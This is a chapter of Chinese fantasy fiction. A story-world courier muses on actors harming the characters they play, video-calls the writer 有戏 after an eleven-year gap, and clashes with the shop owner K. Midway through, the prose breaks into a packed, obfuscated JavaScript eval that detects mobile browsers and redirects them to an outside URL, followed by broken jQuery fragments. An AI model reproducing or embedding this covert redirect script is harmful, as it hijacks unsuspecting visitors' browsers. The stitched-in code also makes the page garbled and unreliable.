花盆背后落了小小一撮尘土，像是被铲子漫不经心地撒出来的。沙粒之下，一张皱巴巴的贴纸粘在地上——指甲大小的星星图案，边角翻翘，表面也有很多划痕。


    他已经不在那里了。


    也不知道那个三明治他吃上没有。


    我看着那一小堆沙子，突然觉得有些不太舒服。这是一种奇怪的感觉，我很少经历，也很难描述，像是在雨季里被过于充沛的降水闷住根系，透不过气来。我在原地试着深呼吸，又张嘴大口呼吸，又换成用皮肤呼吸——每一次，新鲜空气都能顺畅地涌入肺部，问题不在这儿。


    这种难受的憋闷的感觉越来越强烈了。我没有兴趣再去偷听里面的房间正在谈论的内容，提起餐盒，快步离开。刚走到电梯口，电梯也正好到了。“叮”的一声，金属门打开，一个东方面孔的年轻人快步从里面走出。我和他擦肩而过，看到他一边走一边慌张地整理自己的头发——我记得他的脸，好像是星链骑士团队里的那个人，因为只有他没在积木小人的电影中出现，所以现在还保持着动画造型。他太专注了，虽然在往前走，但眼中根本看不到人，可能也看不到路，嘴里还念念有词，我只听到“试试”“机会”“特色”之类的词语。然后我走进电梯，按下按钮；他的背影消失在走廊那一头。


    再然后，我找到摩托，回到店里了。


    K正在厨房里忙，和一池子活蹦乱跳的章鱼搏斗。我把空白的签收单交给他，他连看都不看，直接让我把单子放到吧台的抽屉里。签收失败也是偶尔会发生的事，无法避免，毕竟我们的客人随时身处危险之中：纠缠半生的宿敌，临阵倒戈的队友，拆除失败的炸弹，没能拦截的小行星……以及，毫无预兆的，来自另一边世界的麻烦。


    原来还有这样的事，作为载体的演员会反过来影响角色。


    我以为超级英雄只会在故事里被打败——并且也只是被暂时打败。


    那种难受的感觉又浮现了。刚回到这里的时候，干燥的空气带走了一些水分，让我的身体变得少许轻盈，可现在我又觉得滞重和憋闷。雨季还没有结束。


    我打算做点别的事来转移注意力。电视机被K放在旁边桌上，但没有信号，连猫和老鼠的动画片都看不到。我望着那块弧形的玻璃屏幕，倒影中，我眼睛的形状似乎变了，鼻梁的长度也和记忆中有些区别。我赶紧站起来，找到一扇干净的窗户，仔细观察我的样子。


    她的眼睛是纺锤形的，瞳色偏深，像被稀释后边缘泛紫的黑墨水，鼻尖是挺拔上翘的，嘴唇饱满，但线条刚硬……我慢慢地调整我的五官，直到与记忆中的那张脸重合。她的眉眼在倒影中出现的瞬间，我突然有些怀疑——我当时所见的她，是她真正的样子吗？


    或者，只是某一个扮演她的人的长相？


    她也会因为演员，被从故事里剔除吗？


    她也会有难以形容的难受的时刻吗？


    即使做出了最大的努力，也无法逃避那一边的世界的影响吗？


    握住决定权的那只手，始终是在故事之外吗？


    ……


    倒影中的脸突然变得模糊。我擦了擦玻璃，玻璃非常干净。我放下手来，有水分从我的眼角排出。也许MG1208比我感觉的要更潮湿，才让我带着一身水汽回来。我按住眼睛，小心地揉捏眼眶，确保刚刚修改好的眼眶不会因为排水走形——对，她不会这样的。


    她是一团火，她不怕雨水，她不会被打湿。她的火焰能把所有靠近她的水汽蒸发。她的根系茁壮又茂盛，没有人能把她拔起。她现在一定还在自己的故事里活跃，和同伴并肩战斗。她的敌人都在故事里，他们很强大，因为她很强大。他们是旗鼓相当的对手，也必定会被她打败。也许明天，吧台上的电话响起，K递给我一个地址，我开着摩托赶到，发现收件人是她。


    这让我的感觉好了一些。我再次加固眼眶，希望它们不会慢慢松散变形，就像失去弹性的发带。放开手的时候，我想一切都恢复如常了，脸也是，闷根也是；可我又察觉到，有一些不安的情绪在角落里滋生，像苔藓。雨还在下，水一直落在我头上。


    我想起“有戏”，她也是创造超级英雄的人。这样说来，她也是那一边的人？那她也许知道一些事，也许能帮我刮掉苔藓。


    我探头朝厨房里一望，K已经宰杀了章鱼，正在水龙头下冲洗它们的尸体；这至少会花掉他半天时间。我快步走到店外，走到K看不到的角落，在石头和砖块间藏起身体，然后拿出手机。


    屏幕亮了，信号和电量同时一格格跳起。然后，未读信息接连不断地弹出，转眼挤满整个屏幕。我点开一条，文字密密麻麻，紧跟着是一张照片——有戏穿着整齐的西装，似乎还化了妆，坐在她身旁的男男女女也是同样；这应该是一个比较严肃的场合，她们是在某个会场？我看到了背景上的红毯和舞台，可有戏又对着镜头做鬼脸。是吗，看来有好事发生的那种严肃。


    我滑动手指，下一条信息同样是密集的文字，连照片上也是。她向我展示了一本书的扉页，上面有某人的手写信息，是留言吗？应该不是她写的，我记得她的字体。不过，眼前的字迹也是一样的杂乱无章，难以辨认，可能是某种加密情报。


    未读信息还在不断弹出。似乎只有在店里的时候，手机才能收到信号，所以这段时间堆积的文字和图片一股脑地涌了进来。我看到她又穿上皱巴巴的T恤了，但长相和我最初见到的时候有些变化，她身前的写字台也变了，变得更大更宽敞，上面堆了更多的书，更充沛的阳光洒在桌上；另一张照片里，她站在一张海报前，在聚光灯下，微笑着目视前方，几个漂亮的男人站在她两旁，脸上是讨好的谦卑的笑容。


    我继续往下滑动。她发给我的文字越来越少了，穿插的照片也变得稀稀落落。我看到了银角大王，看到她抱着银角大王，银角大王在吃饭，在玩耍，在阳光下啃咬花盆里的小花，在许多人的膝盖上翻出肥软的毛肚皮。我看到她去了一些地方，她和古老的建筑合影，和博物馆里的展品合影，和穿着戏服的男男女女合影，和各种形状的奖杯合影。原来，在我被星链骑士拎着到处飞的时候，她的世界已经过去了那么多岁月。


    所有的信息都翻完了，最后一张照片，是书桌前的炒饭和烤肠；应该是她的午餐吧，我不明白发送时间那串数字代表的意义，可能是昨天发的，也可能是去年发的。


    我回忆有戏教过我的通讯方式，点开头像，再点某一行文字……是哪一行来着？她不在，我一个字都看不懂，只能点了这个，又点那个，很幸运，视频电话拨出了。


    但那边一直没有接通。


    是我按错了键吗？我又试一次，还是没有接通。再一次，依旧没有。我把她头像下所有能点的东西都点了一遍，没有用，反倒是不知按了哪里，连她的头像都不见了。


    我手忙脚乱地一顿翻弄，突然“叮”的一声，新的信息进来了。我点开，终于又看到了有戏的头像——太好了，至少证明那一边有反应。


    又是一阵手忙脚乱，点这点那之后，视频电话总算“叮铃铃”响起；这次我知道，要按绿色的。


    “你为什么把我删了？”这是视频电话接通后，她说的第一句话。


    是吗，原来头像消失，是因为被删除，我还以为——


    “你好像在想一些不太礼貌也不太吉利的事，”屏幕上的女人说，“打住吧，很久没见，别破坏重逢的喜悦。”


    好吧。


    屏幕上的女人露出微笑。和上次见面的时候相比，她的长相变了。她胖了一些，下巴圆了,下颌线变得柔软，面颊也显得既饱满又松弛，脸上没有痘痘了，也没有黑眼圈，但眼角略微下垂，有些无精打采。


    她还是穿着那件褪色的绿卫衣（绿色更淡了，领口也松垮垮的），头发被一个鲨鱼夹潦草地夹在头顶。她的椅子变得更宽敞了，好像是真皮的，可以让她舒适地盘腿坐在里面。旁边的书桌上放着一只黄色咖啡杯，杯子里侧结了些茶渍。稍远一些，是一整面书架墙，从天花板到地面，堆满了五颜六色的书本。


    （总觉得拿起架子上的某本书，或者按照特定的顺序摆放它们，就能触发机关，打开某扇暗门。）


    我扫视一圈，没发现猫。


    “银角大王在睡觉。”有戏说。她把镜头挪了挪，让我能看到桌旁的沙发上，窝着一团灰色的毛球。


    “这些年我一直试着联系你，可是你完全没有回应，也没有来跟我要餐费，我以为再也见不到你了，”有戏说，“终于要放弃的时候，你一下子来了几个视频电话——偏偏我正好走开。等我准备给你回电话的时候，又发现自己被删了。”


    那真是太不巧了。我和她之间但凡有一人是超级英雄，接下去就要引发一系列令人胃疼的剧情——不过“这些年”是什么意思？她那边过去了多少年？


    有戏望着天花板想了一会儿，然后开口：“11年吧，可能稍微不到点儿，我记得你是在秋天的时候来的。”


    11年，是什么概念？长还是短？不过，她变了那么多，也做了那么多事，应该是一段不短的时间吧？


    “对于普通人，11年很长了，”有戏说，“我读了一个学位，写了几本还不错的剧，拿了一些奖，出了几趟国，住了几次院……你应该很惊讶吧，上一次和你视频的时候，还是个年轻漂亮的小姑娘，怎么一转眼就成了胖阿姨。”


    那倒也算不上漂亮的小姑娘。


    有戏皱眉噘嘴了，这表情倒是没有改变。但我的意思是，她不是超级英雄，不是非得“漂亮”不可的角色，漂亮对她来说不是必需属性。有一张好看的脸蛋当然走运，但不漂亮也行，她也没有义务漂亮。就像她眼中的我是一堆横竖撇捺，我眼中的她，也是一堆脂肪，骨骼，肌肉。


    有戏又笑了。她的脸上多了些皱纹，让线条显得柔和，像在甜汤里舒展的银耳。


    “确实，我老了很多，很多方面都是，看见你这堆毫无人性的话，居然都不会生气了，”有戏说，“银角大王也老了，时间在它身上的流速更快……希望它能陪我久一些。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114305|152412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    她转动椅子，伸手抚摸睡眠中的猫。银角大王依旧睡着，没有睁眼。它瘦了一些，腹部随着呼吸明显地起伏，仿佛在肚皮里藏了一个小海湾。


    “说点好消息，”有戏朝我转过身来，“我现在有钱了，可以付清上次的账单，还能送你一台全新的，更好的手机——如果你的老板同意的话。”


    老板？哦，是说K吗？他是店的老板，可不能算我的老板。


    “不过不知道为什么，我找不到你们店的名片了，”有戏说，“我明明记得把它夹在我的日记本里，每天翻开都会看到。可是偏偏在我想打电话的时候，找不到了。那段时间也没法联系上你，我还以为是那种‘从此以后，再也没人见过那家店’的设定呢。”


    我不知道名片还会不见，也不知道店里的电话。可能K知道,但他一定会装模作样地说，“符合条件的人才能打通电话，如果打不通，就证明不是我们的客人”，呸。


    有戏盯着我的脸看了一会儿，扁扁嘴：“没关系，至少我们又能打电话了。告诉我这段时间，你做了什么吧？我这里过去了11年，你呢？我现在多少有了一点关于故事的选择权，我想了解你那边的世界。”


    我吗？虽然没有过去那么多年，但也是发生了一些事……我想起MG1208，积木小人和停车场，咖啡渍和速写本，一个又一个又疲倦又亢奋的房间……不过，这些似乎也没什么值得一提的。


    “发生了什么事，”有戏看着我的脸说，“你脸上的文字都乱成一团了。”


    那种奇怪的感觉又浮现了。在那一边的时候，我似乎也有过类似的感受，胸口好像装了水，水位一会儿高，一会儿低，那汪水一会儿是冷的，一会儿是热的。那些拥挤的房间让我胸口冰冷，Joyce的小女儿大笑着飞上天空的时候，又好像有湾流带着温度和盐分从大洋深处涌来。啊，也许就是因为这样，最后才有水从眼睛里排出来。不过，水到底是从哪儿来的？


    有戏很久没有说话，她一直盯着我的脸。她身旁的银角大王抬头打了个呵欠，眯眼看了她一会儿，又翻身继续睡了。


    终于，有戏从我脸上移开了视线，就像读完一本书的章节。


    “原来是这样，”她说，“这种情况在我这边倒是经常发生，原来对你来说很难理解。”


    什么，她看到什么了？


    “被演员连累，从上到下都大动干戈，我还以为只是剧组和出品方会倒霉，没想到连角色都会受到影响，”有戏耸耸肩，“一个故事能变成动画，变成电视，变成电影，是许多人许多年的心血，最后毁在一个根本没有参与创作的蠢货手上——这谁能接受？反倒是那些蠢货，只要风头过去，慢慢又能出来活动。偏偏规则就是这样，你安安静静地搭积木塔，想方设法把它搭得又高又稳，可不知道什么时候就会伸出一只手来，一戳，它就倒了。”


    我也讨厌这样，如果K这么对我，我一定把桌子掀他身上去。不过，这是规则决定的吗？


    “当然，”有戏说，“不是什么人都能在桌子上搭积木，也不是什么人都能伸手的——规则决定的就是这些。但规则也是被人建立的，而谁来建立它，又由更上一层的规则决定。”


    她又做出那个动作了，伸手指着上方的天花板。每次聊到一定的时间，她总会望向上面。她看到的“上面”到底有什么？上面的上面又是什么？11年过去了，她变了，“上面”呢？


    有戏笑了，收回手指，挪了挪盘在椅子上的双腿。这个动作也和以前一样。


    “可以的话，还是想和你当面聊天，”有戏说，“我要仔细找找我的抽屉，搞不好是搬家的时候，把那张名片掉在什么夹缝里了。对了，我会泡咖啡了，你能喝咖啡吗？下次你来，我做点东西给你吃——”


    屏幕突然闪烁了一下，有戏的声音中断了，又一下，画面也消失了。我知道这个，我的电视机也会这样，是信号波动的关系。我举着手机直起身，想换个信号稳定的地方，一转头看到K站在面前。


    我立刻把手藏到身后。


    但来不及了，K盯着我藏起的手：“你又捡垃圾回来了？”


    我摇头，想了想，还是点头。


    可这一次，K没有这么好糊弄。他一下子抓住我的胳膊往前拽，我用力抵抗。谁知这狡猾的家伙趁势换手，拉着我的手臂顺着我发力的方向一转，我顿时背对他。


    “这是什么？你又拿客人的东西？”他听起来很生气，“说过多少次了，路边的垃圾捡了就算了，无非是脏点。别的世界的东西，绝对不能带回来！”


    我不服气，我也是别的世界的东西，当初她要把我留下，他怎么不拒绝？再往前说，他自己也是。都是外来的，他看不起谁？


    我使劲扭动，试图挣脱，不料手里突然一空，他把我的手机抽走了。


    “这是通讯器，”K的声音更沉了，“你在和谁说话？”


    他手上的力气松了。我立刻转身，要去夺手机。可他的动作更快。他抬手一扬，“呼”的一声，手机被丢了出去。